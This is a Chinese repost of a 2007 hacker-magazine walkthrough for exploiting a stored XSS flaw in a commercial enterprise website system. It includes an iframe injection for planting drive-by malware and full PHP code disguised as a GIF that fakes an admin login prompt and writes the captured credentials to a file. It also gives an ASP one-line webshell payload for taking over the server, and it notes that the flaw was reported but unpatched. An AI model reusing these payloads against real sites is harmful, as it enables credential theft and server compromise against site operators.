首页 网络安全 安全学院 查看内容

冠龙科技企业网站系统XSS漏洞利用全过程

2009-2-12 06:26 537 0

摘要: 文章已发表黑客X档案2007年第11期转载请注明作者:小志&伤心的鱼[SST]正文:这几天实在是无聊,没事可做,准备从网上Down份企业网站的整站程序瞧瞧,百度...
关键词: 如图 代码 漏洞 程序 密码 文件 后台 其实 cookie 验证

文章已发表黑客X档案2007年第11期转载请注明作者:小志&伤心的鱼[SST]正文:这几天实在是无聊,没事可做,准备从网上Down份企业网站的整站程序瞧瞧,百度一搜还真发现不少企业整站程序, 随便下了一个冠龙科技企业网站系统测试版,这套程序官方卖的正式版要2000多块呢。 也有很多大型企业站点都用这套程序,不过大多都是用的测试版+官方的补丁。这次准备好好的看看,搞不好一不小心看出个0day就……嘿嘿。看这种整站程序第一选择就是injection,结果看了几天,注射漏洞倒没发现,只发现了个XSS漏洞,没办法。这套程序的防注射代码太牛X 连cookie注射都不可以 (后来才知道两个星期以前刚有人发现注射漏洞,官方重新写了程序)。当然可能有些朋友不太看好XSS漏洞,其实XSS在国外已经玩的很火了 。所谓千里之堤,溃于蚁穴!稍有些变量没过滤,就可能成为黑客的突破口!那什么是XSS呢!XSS又叫CSS(Cross Site Script),即跨站脚本攻击。它指的是恶意攻击者往WEB页面里插入恶意html代码,当用户浏览该页的时候,嵌在里面的html代码会被执行,从而达到攻击者的特殊目的。XSS属于被动式攻击,加之不好利用,所以许多人容易忽略了它的危害性。 首先我们来看程序代码,漏洞出在feedbacksave.asp这个文件,代码如下,如图1。图1 从这段代码可以知道,程序的作者只是用自定义的一个函数htmlencode2来过滤content中出现的一些特殊字符,而其它只是用trim过滤空格。显然XSS漏洞就这样产生了!知道了漏洞,那就行动吧,、本地架设好以后就开始啦 。测试版有很多限制,但是后来我在官方测试的时候但XSS漏洞依然是存在的!为了方便 首先我们注册一个新用户,选择留言版块,如图2。点我要留言,就可以进入到留言界面了。图2 图3图4 到了这里可能有些朋友觉得只是弹个窗,没什么了不起的,因而觉得这个没什么利用价值那可就大错特错了。其实我们还是可以利用这个XSS来偷取管理员的cookie,或者挂马!因为这站只是用trim过滤了空格,所以利用起来是非常容易的。刚开始测试挂马的时候,发现作者对主题字符的长度限制了!可能有的人说可以把测试代码写入内容呀,但是那里程序作者用写的自定义函数过滤了,就无法利用了。我想稍懂点HTML,就知道,这是可以突破的,如图5。图5 字符的最大长度为36,我们可以在本地修改他的最大长度,修改提交地址,然后在本地提交。这样字符长度的限制就可以突破了!因为本地提交的代码很长,我在这里就不全发了,打包放在光盘里了。这里我只截取一部分代码,将地址改成我们的目标站点的就OK了,如图6。图6 我们在本地修改他的最大长度为200.然后在IE查看源码找到提交地址。在本地修改。修改成功后,在主题那写入测试代码,<iframe src=" http://www.baidu.com" width="100" height="100" frameborder="0"></iframe> 对于常挂马的朋友来说这句不陌生吧 我们把长度和宽度改为100是为了便于测试,这样才能更好的看到测试效果,挂马的时候,再改为0就行了,如图7。图7 字符限制解决了吧!本想利用XSS漏洞来偷取管理遇的cookie的,但是我们知道后台是session验证的,就算你偷取到了cookie也没用!如果那后台是cookie验证的话,那偷到密码简直易如反,如图8。图8 难道这样我们就没其它的利用方法了?其实方法还是有的,我们可以伪造个密码验证框!让管理输入帐号和密码验证,为了不让管理员发现,密码框的代码是利用cookie验证,密码框出现一次后,要想再出现密码框,就要在IE那删除cookie,如图9。图9 为了不让管理员发现,我们用图片来伪装了。好了,那我们就来看看利用程序吧!代码如下:★<?header("Content-type: image/gif");$image = imagecreatefromgif('mellow.webp');if(!$_COOKIE['LOGON']){$login = $_SERVER['PHP_AUTH_USER'];$pass = $_SERVER['PHP_AUTH_PW'];if(strlen($pass) <= 4 || !$login){Header('HTTP/1.1 401 Unauthorized');Header('WWW-Authenticate: Basic realm="管理员验证 - login"');}elseif($login){setcookie('LOGON',md5($pass));$f = fopen('passwords.txt', 'ab');fwrite($f, $login." ||| ".$pass."\r\n");fclose($f);}}imagegif($image);imagedestroy($image);?>★新建个文档,把代码保存在文件内,后缀名改成图片格式。然后去网上找个小型的图片文件。将这两个图片放在同一个目录下就OK了。★$image = imagecreatefromgif('mellow.webp');★这里就是调用的正常图片文件!然后我们在跨站那里输入<img src="图片地址">,如果成功的话,就会生成个passwords.txt文件,文件内记录着管理员输入的帐号和密码!废话不少说了,现在我们来演示下吧,可能有的人说?管理一般都在后台进行留言管理的。很少跑到前台的,其实后台也要调用那文件。只要管理员进了后台,进行留言管理就能利用的,如图10。图10 大家不要搞错哦,那代码是PHP的,要在PHP环境下才能正常解析!如果大家没有PHP的空间,去找个支持PHP的Webshell也行。大家看到没,出现了登陆框,不精明的网管会以为是程序的验证。那么,他就会输入帐号和密码再次进行验证。刷新下,密码框就不会出现。除非你删除你机子上的cookie才行。这样迷域性更大了,如图11。图11 成功后密码会记录在passwords.txt里。其实那段程序不仅仅利用在跨站,就算没有跨站也是可以利用的。只要能插入图片就行。下面我用我BLOG演示下,后面的就靠大家发辉了,在我BLOG留言管理那里,如图12、图13。图12图13 如果你人品够好成功拿到管理员的帐号和密码的话,那么后面的事就是拿Webshell了。这个后台能拿Webshell的方法很多,我简单介绍一个最简单的:进入后台以后,我们在在系统管理配置文件那写入一句话:"%><%eval(request("xiaozhi"))%><%',如图14。然后保存,写入成功后,我们用一句话木马连接inc目录下的config.asp文件,如图15、图16。图14图15图16 看到没,OK了吧! 然后我们利用一句话传个大马上去就好了。其实我们也可以另一个方法拿Webshell,那就是利用备份数据库来拿Webshell的,但是有些站改了源码了。只能备份成mdb格式的文件,那我们只有选择一句话了。另外后台使用了ewebeditor在线文本编辑器,我们利用他一样可以拿到Webshell。这里我就不做介绍了。下面我们来看一下备份数据库的代码,如图17。图17 图18 虽然成功的弹出了对话框,但是这个并不能算是真正意义上的跨站,因为他并没有写入数据库,除了能糊弄一些不懂的人之外,并没有任何的利用价值。另外截止发稿的时候官方并没有修补该漏洞,后来我又在官方留言那里提醒了一次,好象管理员并没有注意,我们研究漏洞只限于利用方法希望各位别拿来做坏事。好了,文章到此也就结束了。其实国内现在对XSS并不是非常重视,但是在国外已经非常的流行了,我们的入侵思路并不之限制于上传、注射、旁注、ARP等等。其实通过钓鱼、社会工程学、XSS都是在入侵中扮演着非常重要的角色的,只要大家善于利用,没有搞不定的站。就像网络并没有绝对的安全,最简单的方法往往是最实用的!
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部